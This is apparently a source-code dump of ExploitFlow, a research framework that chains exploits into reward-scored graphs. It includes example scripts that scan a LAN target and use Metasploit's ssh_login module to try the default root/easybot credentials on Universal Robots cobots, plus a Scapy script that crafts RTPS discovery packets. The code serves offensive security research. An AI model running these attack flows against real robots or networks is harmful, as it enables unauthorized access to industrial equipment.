47 | octetsToNextHeader=248,
48 | extraFlags=0,
49 | octetsToInlineQoS=16,
50 | readerEntityIdKey=0,
51 | readerEntityIdKind=0,
52 | writerEntityIdKey=256,
53 | writerEntityIdKind=194,
54 | writerSeqNumHi=0,
55 | writerSeqNumLow=1,
56 | data=DataPacket(
57 | encapsulationKind=3,
58 | encapsulationOptions=0,
59 | parameterList=ParameterListPacket(
60 | parameterValues=[
61 | PID_USER_DATA(
62 | parameterId=44,
63 | parameterLength=28,
64 | parameterData=b"\x17\x00\x00\x00DDSPerf:0:58:test.local\x00",
65 | ),
66 | PID_PROTOCOL_VERSION(
67 | parameterId=21,
68 | parameterLength=4,
69 | protocolVersion=ProtocolVersionPacket(major=2, minor=1),
70 | padding=b"\x00\x00",
71 | ),
72 | PID_VENDOR_ID(
73 | parameterId=22,
74 | parameterLength=4,
75 | vendorId=VendorIdPacket(vendor_id=b"\x01\x10"),
76 | padding=b"\x00\x00",
77 | ),
78 | PID_PARTICIPANT_LEASE_DURATION(
79 | parameterId=2,
80 | parameterLength=8,
81 | parameterData=b"\x00\x00\x00\x008\x89A\x00",
82 | ),
83 | PID_PARTICIPANT_GUID(
84 | parameterId=80,
85 | parameterLength=16,
86 | parameterData=b"\x01\x10\\\x8e,\xd4XG\xfaZ0\xd3\x00\x00\x01\xc1",
87 | ),
88 | PID_BUILTIN_ENDPOINT_SET(
89 | parameterId=88,
90 | parameterLength=4,
91 | parameterData=b"\x00\x00\x00\x00",
92 | ),
93 | PID_DOMAIN_ID(
94 | parameterId=15,
95 | parameterLength=4,
96 | parameterData=b"\x00\x00\x00\x00",
97 | ),
98 | PID_DEFAULT_UNICAST_LOCATOR(
99 | parameterId=49,
100 | parameterLength=24,
101 | locator=LocatorPacket(
102 | locatorKind=16777216,
103 | port=sport,
104 | address=src,
105 | ),
106 | ),
107 | PID_METATRAFFIC_UNICAST_LOCATOR(
108 | parameterId=50,
109 | parameterLength=24,
110 | locator=LocatorPacket(
111 | locatorKind=16777216,
112 | port=sport,
113 | address=src,
114 | ),
115 | ),
116 | PID_UNKNOWN(
117 | parameterId=32775,
118 | parameterLength=56,
119 | parameterData=b"\x00\x00\x00\x00,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00test.local/0.9.0/Linux/Linux\x00\x00\x00\x00",
120 | ),
121 | PID_UNKNOWN(
122 | parameterId=32793,
123 | parameterLength=4,
124 | parameterData=b"\x00\x80\x06\x00",
125 | ),
126 | ],
127 | sentinel=PID_SENTINEL(parameterId=1, parameterLength=0),
128 | ),
129 | ),
130 | ),
131 | ]
132 | )
133 | )
134 |
135 | ans = sr1(pkt, retry=0, timeout=10)
136 |
137 | if ans:
138 | if (ICMP in ans) and (ans[ICMP].code == 3):
139 | print(color("Destination unreacheable", fg=16, bg="yellow"))
140 | elif ICMP in ans:
141 | print(color("ICMP code: " + str(ans[ICMP].code), fg=16, bg="yellow"))
142 | elif RTPS in ans:
143 | print(color(ans.summary(), fg=16, bg="green"))
144 | # ans.show()
145 | else:
146 | print(color("No response received.", fg=16, bg="red"))
--------------------------------------------------------------------------------
/examples/8_exploitation_ur.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # A exploit flow that footprints and sends attempts exploits a Universal Robots
16 | # cobot with default credentials
17 |
18 | import exploitflow as ef
19 | # from exploitflow.state import State_v0
20 |
21 | flow = ef.Flow()
22 | init = ef.Init()
23 |
24 | recon = ef.Targets()
25 | versions = ef.Versions(ports=ef.state.TARGET_PORTS_COMPLETE)
26 |
27 | # initialize state and pass it over a recon action
28 | # resulting flow should deliver a state annotated
29 | # with the results from the reconnaissance step
30 | state = flow.run(init * recon * versions, target="192.168.2.10")
31 |
32 | # now for ech one of the states found, send an ssh
33 | # login attempt using metasploit
34 | for s in state.states.keys():
35 | # Build MSF ssh test exploit
36 | expl = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/ssh/ssh_login")
37 | msf_options = {
38 | "RHOSTS": s,
39 | "USERNAME": "root",
40 | "PASSWORD": "easybot"
41 | }
42 | expl.set_options(msf_options)
43 |
44 | if not expl.missing():
45 | state = flow.run(state * expl, target=s, debug=False)
46 |
47 | print("Final reward: " + str(flow.reward())) # NOTE: returns graph's reward
48 | print("Final state: " + str(state))
49 |
50 | # # ASCII-depict graph
51 | # print(flow.ascii())
52 |
--------------------------------------------------------------------------------
/examples/9_exploitation_ur_human_expert.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # A exploit flow that footprints and sends attempts exploits a Universal Robots
16 | # cobot with default credentials
17 |
18 | import exploitflow as ef
19 | from exploitflow.state import State_v2
20 | State_default = State_v2
21 |
22 |
23 | flow = ef.Flow()
24 | init = ef.Init()
25 |
26 | recon = ef.Targets()
27 | versions = ef.Versions(ports=ef.state.TARGET_PORTS_COMPLETE)
28 |
29 | # initialize state and pass it over a recon action
30 | # resulting flow should deliver a state annotated
31 | # with the results from the reconnaissance step
32 | state = flow.run(init * recon * versions, target="192.168.2.10")
33 |
34 | # for those states that have a 22 port open, send an ssh
35 | # exploit attempt using metasploit
36 | for s in state.states.keys():
37 | # check if port 22 is open, which technically means
38 | # that the ssh service is running
39 | if any((port_state.port == 22 and port_state.open) for port_state in state.states[s].ports):
40 |
41 | # Build MSF ssh test exploit
42 | expl = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/ssh/ssh_login")
43 | msf_options = {
44 | "RHOSTS": s,
45 | "USERNAME": "root",
46 | "PASSWORD": "easybot"
47 | }
48 | expl.set_options(msf_options)
49 |
50 | if not expl.missing():
51 | state = flow.run(state * expl, target=s, debug=False)
52 |
53 | print(flow)
54 |
55 | # ASCII-depict graph
56 | print(flow.ascii())
57 | flow.to_dot("/tmp/exploitflow.dot")
--------------------------------------------------------------------------------
/exploitflow/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | #
15 | # Inspired by https://github.com/tobegit3hub/miniflow
16 |
17 | from . import adapters
18 | from . import exploit
19 | from . import flow
20 | from . import graph
21 | from . import killchain
22 | from . import models
23 |
24 | # General abstractions for exploit flows
25 | Graph = graph.Graph
26 | Flow = flow.Flow
27 |
28 | # Basic primitives
29 | Placeholder = exploit.PlaceholderExploit
30 | Constant = exploit.ConstantExploit
31 | Variable = exploit.VariableExploit
32 | Boolean = exploit.BoolExploit
33 | Init = exploit.InitExploit
34 | End = exploit.EndExploit
35 | Add = exploit.AddExploit
36 | Multiple = exploit.MultipleExploit
37 | Idle = exploit.IdleExploit
38 | End = exploit.EndExploit
39 |
40 | placeholder = exploit.PlaceholderExploit()
41 | constant = exploit.ConstantExploit(1)
42 | variable = exploit.VariableExploit("var")
43 | boolean = exploit.BoolExploit()
44 | init = exploit.InitExploit()
45 | end = exploit.EndExploit()
46 | add = exploit.AddExploit(constant, constant)
47 | multiple = exploit.MultipleExploit(constant, constant)
48 | idle = exploit.IdleExploit()
49 |
50 | lobal_variables_initializer = exploit.GlobalVariablesInitializerExploit
51 | local_variables_initializer = exploit.LocalVariablesInitializerExploit
52 | get_variable = exploit.get_variable
53 |
54 | basic_all = [Placeholder, Constant, Variable, Boolean, Init, Add, Multiple, Idle]
55 | basic_all_instances = [placeholder, constant, variable, boolean, init, add, multiple, idle, end]
56 |
57 | # Reconnaissance primitives
58 | Versions = killchain.reconnaissance.versions.VersionExploit
59 | FakeVersions = killchain.reconnaissance.versions.FakeVersionExploit
60 | FakeVersions2 = killchain.reconnaissance.versions.FakeVersionExploit2
61 | Targets = killchain.reconnaissance.targets.TargetsExploit
62 |
63 | versions = killchain.reconnaissance.versions.VersionExploit()
64 | fake_versions = killchain.reconnaissance.versions.FakeVersionExploit()
65 | fake_versions2 = killchain.reconnaissance.versions.FakeVersionExploit2()
66 | targets = killchain.reconnaissance.targets.TargetsExploit()
67 |
68 | reconnaissance_all = [Versions, FakeVersions, Targets]
69 | reconnaissance_all_instances = [versions, fake_versions, targets]
70 | # reconnaissance_all_instances = []
71 |
72 | # Adapters
73 | ## MSF
74 | adapter_msf_initializer = adapters.AdapterMSF()
75 | Metasploit = exploit.ExploitMSF
76 |
77 | metasploit = adapter_msf_initializer.get_name("auxiliary", "scanner/ssh/ssh_login")
78 |
79 | adapters_all = [Metasploit]
80 | adapters_all_instances = [metasploit]
81 |
82 |
83 | # Learning models
84 | ## RL
85 | QLearn = models.QLearn
86 |
87 | # All, except basic
88 | exploits_all = [] + reconnaissance_all + basic_all + adapters_all
89 | exploits_all_instances = [] + reconnaissance_all_instances + basic_all_instances + adapters_all_instances
90 | # exploits_all = [Versions, Metasploit, Idle]
91 |
--------------------------------------------------------------------------------
/exploitflow/adapters.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | #
15 | # adapters are EF's connectors to other exploitation frameworks
16 |
17 | import requests
18 | from abc import abstractmethod
19 | from pymetasploit3.msfrpc import MsfRpcClient
20 | from pymetasploit3.msfconsole import MsfRpcConsole
21 | from typing import List
22 | from exploitflow import exploit
23 | import threading
24 |
25 |
26 | class Adapter(object):
27 | """
28 | The base adapter class
29 |
30 | Meant to be subclassed by each adapter
31 | """
32 | def __init__(self):
33 | self.initialized = False # captures whether the adapter is initialized
34 | # successfully or not. This often requires
35 | # clients to be initialized for communication
36 | # with other exploitation frameworks.
37 |
38 | @abstractmethod
39 | def _reconaissance(self, *args, **kwargs) -> List[exploit.Exploit]:
40 | raise NotImplementedError
41 |
42 | @abstractmethod
43 | def get_name(self, *args, **kwargs) -> exploit.Exploit:
44 | raise NotImplementedError
45 |
46 | def get_reconnaissance(self) -> List[exploit.Exploit]:
47 | """
48 | Returns a list of exploits that can be used to perform reconnissance in the target.
49 | """
50 | return self._reconaissance()
51 |
52 |
53 | class AdapterMSF(Adapter):
54 | """MetaSploit Framework adapter"""
55 |
56 | def __init__(self):
57 | super().__init__() # in case there's common code in the base class
58 | try:
59 | self.initialized = True
60 |
61 | # connect to MSF RPC server, see "devcontainer.json" for details on
62 | # how the server is configured
63 | self.client = MsfRpcClient('exploitflow', ssl=True)
64 |
65 | # # Create a new thread and run the console in that thread
66 | # thread = threading.Thread(target=self._launch_console, args=(self.client, self._read_console,))
67 | # thread.start()
68 | self.console = self.client.consoles.console() # create a new MsfConsole
69 |
70 | # console variables
71 | self.console_status = None
72 | self.positive_out = []
73 | self.console_out = []
74 |
75 | except Exception as e:
76 | print("Error connecting to MSF RPC server: " + str(e))
77 | self.initialized = False
78 |
79 | # def _launch_console(self, client, callback):
80 | # console = MsfRpcConsole(client, cb=callback)
81 | # while 1:
82 | # console = MsfRpcConsole(client, cb=callback)
83 | # # console._poller()
84 |
85 | # def _read_console(self, console_data):
86 | # self.console_status = console_data['busy']
87 | # print("AdapterMSF callback status: " + str(self.console_status))
88 |
89 | # # debug
90 | # # log things out just in case
91 | # sigdata = console_data['data'].rstrip().split('\n')
92 | # for line in sigdata:
93 | # self.console_out.append(line)
94 |
95 | # if '[+]' in console_data['data']:
96 | # sigdata = console_data['data'].rstrip().split('\n')
97 | # for line in sigdata:
98 | # if '[+]' in line:
99 | # self.positive_out.append(line)
100 | # print(console_data['data'])
101 |
102 |
103 | def _reconaissance(self, *args, **kwargs) -> List[exploit.Exploit]:
104 | if not self.initialized:
105 | return []
106 |
107 | # Filter out some of the scan action available
108 | # will filter out:
109 | # ['scanner/discovery/arp_sweep', 'scanner/discovery/empty_udp',
110 | # 'scanner/discovery/ipv6_multicast_ping', 'scanner/discovery/ipv6_neighbor',
111 | # 'scanner/discovery/ipv6_neighbor_router_advertisement', 'scanner/discovery/udp_probe',
112 | # 'scanner/discovery/udp_sweep']
113 |
114 | candidate_names = [k for k in self.client.modules.auxiliary if 'scanner/discovery' in k]
115 | return [exploit.ExploitMSF(self, module, "auxiliary", {}) for module in candidate_names]
116 |
117 |
118 | def get_name(self, exploit_type, name) -> exploit.Exploit:
119 | """Returns the name of the exploit
120 |
121 | Arguments:
122 | - exploit_type: the exploit type (e.g. "auxiliary", or "exploit")
123 | - name: the name of the exploit (e.g. scanner/discovery/udp_sweep)
124 | """
125 | if not self.initialized:
126 | return None
127 |
128 | return exploit.ExploitMSF(self, name, exploit_type, {})
--------------------------------------------------------------------------------
/exploitflow/common.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | from shlex import quote
16 | from subprocess import PIPE, run as _run
17 | import sys
18 | from pathlib import Path
19 |
20 |
21 | def run(cmdargs, *args, check=True, **kw):
22 | """Wrap subprocess.run optionally echoing commands."""
23 | cwd = kw.pop("cwd", None)
24 | if isinstance(cwd, Path):
25 | cwd = bytes(cwd)
26 | kw["cwd"] = cwd
27 |
28 | if check == "exit":
29 | cp = _run(cmdargs, *args, check=False, **kw)
30 | if cp.returncode != 0:
31 | cmd = " ".join([quote(x) for x in cmdargs])
32 | print(
33 | "ERROR: Command return non-zero exit code (see above): {}\n {}".format(
34 | cp.returncode, cmd
35 | ),
36 | file=sys.stderr,
37 | )
38 | sys.exit(cp.returncode)
39 | else:
40 | cp = _run(cmdargs, *args, check=check, **kw)
41 |
42 | return cp
43 |
44 |
45 | def runout(*args, **kw):
46 | """Run cmd and return its stdout."""
47 | return run(*args, **kw, stdout=PIPE).stdout.decode("utf-8")
48 |
49 |
50 | def shell(cmd, *args, check=True, **kw):
51 | """Run cmd through shell."""
52 | return run(cmd, *args, shell=True, check=check, **kw)
53 |
54 |
55 | def shellout(*args, **kw):
56 | """Run cmd through shell and return its stdout."""
57 | return shell(*args, **kw, stdout=PIPE).stdout.decode("utf-8")
58 |
--------------------------------------------------------------------------------
/exploitflow/exploit.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | #
15 | # Inspired by https://github.com/tobegit3hub/miniflow
16 |
17 | from abc import ABCMeta, abstractmethod
18 | import logging
19 | import math
20 | import os
21 | import sys
22 | from . import graph
23 | from . import state
24 | from wasabi import color
25 |
26 |
27 | class Exploit(object):
28 | """
29 | The basic class for all operation.
30 |
31 | Attributes
32 | ----------
33 | name: str
34 | name of the exploit instances
35 | pre_state : state.State
36 | state of the flow before executing the exploit
37 | post_state : state.State
38 | state of the flow after executing the exploit
39 | status : bool
40 | success (True) or failure (False) after running the exploit
41 | run : bool
42 | captures whether the exploit has been run already
43 | reward: float
44 | reward that an attacker gets for executing the exploit
45 | target: str
46 | target of the exploit, each exploit may have a target that overwrites the
47 | default flow's target for that particular exploit
48 |
49 | Methods
50 | -------
51 | forward(self, *args, **kwargs) -> state.State:
52 | Flow forward pass frontend. Accounts for past runs.
53 | _forward(self, *args, **kwargs) -> state.State:
54 | Flow forward pass logic.
55 | force_forward(self, *args, **kwargs) -> state.State:
56 | Force forward pass logic without accounting for past runs.
57 | mitigate(self) -> bool:
58 | Execute exploit mitigation. Assumes it runs natively in the affected machine.
59 |
60 | """
61 |
62 | def __init__(self, name="Exploit"):
63 | self.name = name
64 |
65 | # state
66 | self.pre_state = None
67 | self.post_state = None
68 |
69 | # status
70 | self.status = False
71 | self.run = False
72 |
73 | # reward
74 | self.reward = -1 # default reward
75 |
76 | # target
77 | self.target = None
78 |
79 | # soft-reset is done by setting the attribute below to true
80 | # this is useful for exploits that are run multiple times
81 | # in the same flow, e.g. when trying to brute-force a password
82 | #
83 | # NOTE: this is not a good practice, but it's useful for testing
84 | # and specifically for simulation involving AI, wherein rollouts
85 | # and backpropagation are done multiple times
86 | self.soft_reset = False
87 |
88 | def get_name(self):
89 | return self.name
90 |
91 | def set_name(self, name):
92 | self.name = name
93 |
94 | def forward(self, *args, **kwargs) -> state.State:
95 | # Extract the 'debug' argument from kwargs, if it doesn't exist it defaults to False
96 | debug = kwargs.get('debug', False)
97 |
98 |
99 | if self.soft_reset:
100 | # This way we trigger the run flag below in the next iteration,
101 | self.run = True
102 | self.soft_reset = False # unset the soft_reset flag, net iteration
103 | # will run as usual
104 |
105 | self.debug(debug)
106 | self._graph.add_to_graph(self)
107 | self._graph.update(self, -1* self.reward, self.post_state, debug=debug)
108 | # NOTE: negate the reward to obtain positive result the first iterations
109 | return self.post_state
110 |
111 | # if run already, do not do it again, just used cached results
112 | if self.run:
113 | self.debug(debug)
114 | self._graph.add_to_graph(self)
115 | self._graph.update(self, self.reward, self.post_state, debug=debug)
116 | return self.post_state
117 |
118 |
119 | self.run = True # NOTE: this should be done at the "_forward" level
120 | # of each invididual exploit, but it's done here
121 | # for convenience
122 | # NOTE 2: a more realistic scenario would be to remove
123 | # completely this, and/or periodically reseting it for
124 | # better simulation of real-world scenarios
125 |
126 | return self._forward(*args, **kwargs)
127 |
128 | @abstractmethod
129 | def _forward(self, *args, **kwargs) -> state.State:
130 | # TODO: No need to implement in abstract method
131 | raise NotImplementedError
132 |
133 | def force_forward(self, *args, **kwargs) -> state.State:
134 | # TODO: Rewrite in subclasses if necessary
135 | self._forward(*args, **kwargs)
136 |
137 | def mitigate(self) -> bool:
138 | return False
139 |
140 | def __str__(self):
141 | return str(self.name)
142 |
143 | def __add__(self, other):
144 | return AddExploit(self, other)
145 |
146 | def __radd__(self, other):
147 | return self.__add__(other)
148 |
149 | def __mul__(self, other):
150 | return MultipleExploit(self, other)
151 |
152 | def __rmul__(self, other):
153 | return self.__mul__(other)
154 |
155 | def debug(self, debug, target=None):
156 | if debug:
157 | debug_str = (
158 | color(
159 | "Debugging " + self.get_name(),
160 | fg="white",
161 | bg="green",
162 | bold=True,
163 | )
164 | + color(
165 | " pre_state: " + str(self.pre_state),
166 | fg="black",
167 | bg="grey",
168 | bold=True,
169 | )
170 | + color(
171 | " post_state: " + str(self.post_state),
172 | fg="black",
173 | bg="white",
174 | bold=True,
175 | )
176 | + color(
177 | " status: " + str(self.status),
178 | fg="black",
179 | bg="yellow",
180 | bold=True,
181 | )
182 | )
183 | if target:
184 | debug_str += color(
185 | " target: " + str(target),
186 | fg="black",
187 | bg="red",
188 | bold=True,
189 | )
190 | print(debug_str)
191 |
192 |
193 | class PlaceholderExploit(Exploit):
194 | """The placeholer operation"""
195 |
196 | def __init__(self, dtype=None, shape=None, name="Placeholder"):
197 | super(PlaceholderExploit, self).__init__(name)
198 | self._graph = graph.get_default_graph()
199 |
200 | def _forward(self, state, target, debug=False):
201 | self._graph.add_to_graph(self)
202 | self.pre_state = state
203 | self.post_state = state
204 | self.status = True # always succeed
205 | self.debug(debug)
206 | self._graph.update(self, self.reward, self.post_state, debug)
207 | return self.post_state
208 |
209 |
210 | class InitExploit(PlaceholderExploit):
211 | """The initial placeholer for a exploit flow"""
212 |
213 | def __init__(self, name="Init"):
214 | super(PlaceholderExploit, self).__init__(name)
215 | self._graph = graph.get_default_graph()
216 | self.reward = 0 # exceptionally, don't discount
217 |
218 | def _forward(self, state_input, target, debug=False):
219 | self._graph.add_to_graph(self)
220 | self.status = True # always succeed Init Exploit
221 | self.pre_state = None
222 | self.post_state = self._graph.state_class()
223 | self.debug(debug)
224 | self._graph.update(self, self.reward, self.post_state, debug)
225 | return self.post_state
226 |
227 |
228 | class EndExploit(PlaceholderExploit):
229 | """The initial placeholer for a exploit flow"""
230 |
231 | def __init__(self, name="End"):
232 | super(PlaceholderExploit, self).__init__(name)
233 | self._graph = graph.get_default_graph()
234 |
235 | def _forward(self, state_input, target, debug=False):
236 | self.reward = 0 # exceptionally, don't discount
237 | self._graph.add_to_graph(self)
238 | self.status = True # always succeed Init Exploit
239 | self.pre_state = state_input
240 | self.post_state = None
241 | self.debug(debug)
242 | self._graph.update(self, self.reward, self.pre_state, debug)
243 | return self.post_state
244 |
245 |
246 | class IdleExploit(PlaceholderExploit):
247 | """An exploit that does nothing, nor impacts the reward"""
248 |
249 | def __init__(self, name="Idle"):
250 | super(PlaceholderExploit, self).__init__(name)
251 | self._graph = graph.get_default_graph()
252 | self.reward = 0 # exceptionally, don't discount
253 |
254 | def _forward(self, state_input, target, debug=False):
255 | self._graph.add_to_graph(self)
256 |
257 | # priotize exploit's target, over flow's target
258 | if self.target:
259 | flow_target = target
260 | target = self.target
261 |
262 | self.status = True # always succeed
263 |
264 | # if no pre_state, create blank one
265 | if state_input:
266 | self.pre_state = state_input
267 | else:
268 | self.pre_state = state.State_default() # New empty state
269 | self.post_state = self.pre_state
270 |
271 | if target not in self.post_state.states.keys(): # if dict states is empty
272 | self.post_state.add_new(target) # create a new state for target
273 |
274 | # mark exploit as launched, NOTE assumes post_state is PortState_v2 (or v4)
275 | for i, exploit_state in enumerate(self.post_state.states[target].exploits):
276 | # print("DEBUG: " + str(exploit_state.type))
277 | if isinstance(exploit_state.type, type): # if type is a class, PortState_v2
278 | if exploit_state.type == self.__class__:
279 | self.post_state.states[target].exploits[i].launched = True
280 | else: # if type is an object, PortState_v4
281 | if exploit_state.type == self.name:
282 | self.post_state.states[target].exploits[i].launched = True
283 |
284 | self.debug(debug)
285 | self._graph.update(self, self.reward, self.post_state, debug)
286 | return self.post_state
287 |
288 |
289 | class BoolExploit(Exploit):
290 | """
291 | An Exploit that does nothing to the state and captures a bool value in its status.
292 |
293 | NOTE: doesn't add anything to the state
294 | """
295 |
296 | def __init__(self, boolean=True, name="Bool"):
297 | super(BoolExploit, self).__init__(name)
298 | self._graph = graph.get_default_graph()
299 | self.status = boolean
300 |
301 | def _forward(self, state, target, debug=False):
302 | self._graph.add_to_graph(self)
303 | self.pre_state = state
304 | self.post_state = self.pre_state
305 | self.debug(debug)
306 | self._graph.update(self, self.reward, self.post_state, debug)
307 | return self.post_state
308 |
309 |
310 | class StateExploit(Exploit):
311 | """A exploit which abstracts a state."""
312 |
313 | def __init__(self, state, name="State"):
314 | super(StateExploit, self).__init__(name)
315 | self.pre_state = None
316 | self.post_state = state
317 | self._graph = graph.get_default_graph()
318 | self.reward = 0 # exceptionally, don't discount
319 |
320 | def _forward(self, input, target, debug=False):
321 | self._graph.add_to_graph(self)
322 | self.status = True # always succeed
323 | self.pre_state = input
324 | if self.pre_state:
325 | self.post_state = self.pre_state + self.post_state
326 | else:
327 | pass # do nothing
328 |
329 | self.debug(debug, target)
330 | self._graph.update(self, self.reward, self.post_state, auxiliary=True, debug=debug)
331 | return self.post_state
332 |
333 |
334 | class ConstantExploit(Exploit):
335 | """The constant operation which contains one initialized value."""
336 |
337 | def __init__(self, value, name="Constant"):
338 | super(ConstantExploit, self).__init__(name)
339 | self._value = value
340 |
341 | self._graph = graph.get_default_graph()
342 |
343 | def get_value(self):
344 | return self._value
345 |
346 | def _forward(self, input, target, debug=False):
347 | self._graph.add_to_graph(self)
348 | self.status = True # always succeed
349 | self.pre_state = input
350 | if self.pre_state:
351 | self.post_state = self.pre_state + self._graph.state_class(self._value)
352 | else:
353 | self.post_state = self._graph.state_class(self._value)
354 | self.debug(debug, target)
355 | self._graph.update(self, self.reward, self.post_state, debug)
356 | return self.post_state
357 |
358 |
359 | class VariableExploit(Exploit):
360 | """
361 | The variable operation which contains one variable. The variable may be
362 | trainable or not-trainable. This is used to define the machine learning
363 | models.
364 | """
365 |
366 | def __init__(self, value, is_trainable=True, name="Variable"):
367 | super(VariableExploit, self).__init__(name)
368 | self._value = value
369 | self._is_trainable = is_trainable
370 |
371 | self._graph = graph.get_default_graph()
372 |
373 | if self._is_trainable:
374 | self._graph.add_to_trainable_variables_collection(self.get_name(), self)
375 |
376 | def get_value(self):
377 | return self._value
378 |
379 | def set_value(self, value):
380 | self._value = value
381 |
382 | def _forward(self, state, target, debug=False):
383 | self._graph.add_to_graph(self)
384 | self.status = True # always succeed
385 | self.pre_state = state
386 | self.post_state = self.pre_state + self._graph.state_class(self._value)
387 |
388 | self.run = False # setting run to False forces a re-run next time
389 | # this is necessary since "VariableExploit" internals
390 | # could change (are variable)
391 |
392 | self.debug(debug)
393 | self._graph.update(self, self.reward, self.post_state, debug)
394 | return self.post_state
395 |
396 |
397 | class GlobalVariablesInitializerExploit(Exploit):
398 | def __init__(self, name="GlobalVariablesInitializer"):
399 | super(GlobalVariablesInitializerExploit, self).__init__(name)
400 |
401 | self._graph = graph.get_default_graph()
402 |
403 | def _forward(self):
404 | self._graph.add_to_graph(self)
405 | self._graph.update(self, self.reward, self.post_state, debug)
406 | pass
407 |
408 |
409 | class LocalVariablesInitializerExploit(Exploit):
410 | def __init__(self, name="LocalVariablesInitializer"):
411 | super(LocalVariablesInitializerExploit, self).__init__(name)
412 |
413 | self._graph = graph.get_default_graph()
414 |
415 | def _forward(self):
416 | self._graph.add_to_graph(self)
417 | self._graph.update(self, self.reward, self.post_state, debug)
418 | pass
419 |
420 |
421 | def get_variable(
422 | name="Variable",
423 | value=None,
424 | shape=None,
425 | dtype=None,
426 | initializer=None,
427 | regularizer=None,
428 | reuse=None,
429 | trainable=True,
430 | ):
431 | # TODO: Support default graph only
432 | _graph = graph.get_default_graph()
433 |
434 | if name in _graph.get_name_op_map():
435 | return _graph.get_name_op_map()[name]
436 | else:
437 | return VariableExploit(value=value, name=name)
438 |
439 |
440 | class MultipleExploit(Exploit):
441 | """
442 | Mixes exploits propagating status in a serial manner.
443 | """
444 |
445 | def __init__(self, input1, input2, name="Mul"):
446 | super(MultipleExploit, self).__init__(name)
447 | self._graph = graph.get_default_graph()
448 |
449 | if not isinstance(input1, Exploit):
450 | self._op1 = StateExploit(input1)
451 | # add label and edge, recovered from run-ning again
452 | self._graph.add_edge(self._graph.last_action, self._op1, label="run")
453 | else:
454 | self._op1 = input1
455 |
456 | if not isinstance(input2, Exploit):
457 | self._op2 = StateExploit(input2)
458 | # add label and edge, recovered from run-ning again
459 | self._graph.add_edge(self._graph.last_action, self._op2, label="run")
460 | else:
461 | self._op2 = input2
462 |
463 | self.reward = 0 # exceptionally, don't discount
464 |
465 | def _forward(self, state_input, target, debug=False):
466 | self._graph.add_to_graph(self)
467 | result1 = self._op1.forward(state_input, target, debug=debug)
468 | result2 = self._op2.forward(result1, target, debug=debug)
469 |
470 | self.status = self._op1.status and self._op2.status
471 | self.pre_state = state_input
472 | self.post_state = result2
473 |
474 | graph
475 | self._graph.add_edge(
476 | self._op1, self._op2, label=str(result1)
477 | ) # edge between ops
478 | self._graph.add_edge(
479 | self._op2, self, label=str(self.post_state)
480 | ) # edge between second op and addition
481 |
482 | # if isinstance(self._op1, StateExploit):
483 | # self._graph.add_edge(
484 | # self._op1, self._op2, label=str(result1)
485 | # ) # edge between ops
486 | # self._graph.add_edge(
487 | # self._op2, self, label=str(self.post_state)
488 | # ) # edge between second op and addition
489 | # elif isinstance(self._op2, StateExploit):
490 | # self._graph.add_edge(
491 | # self._op2, self._op1, label=str(result1)
492 | # ) # edge between ops
493 | # self._graph.add_edge(
494 | # self, self._op2, label=str(self.post_state)
495 | # ) # edge between second op and addition
496 | # else: # none of them are States
497 | # self._graph.add_edge(
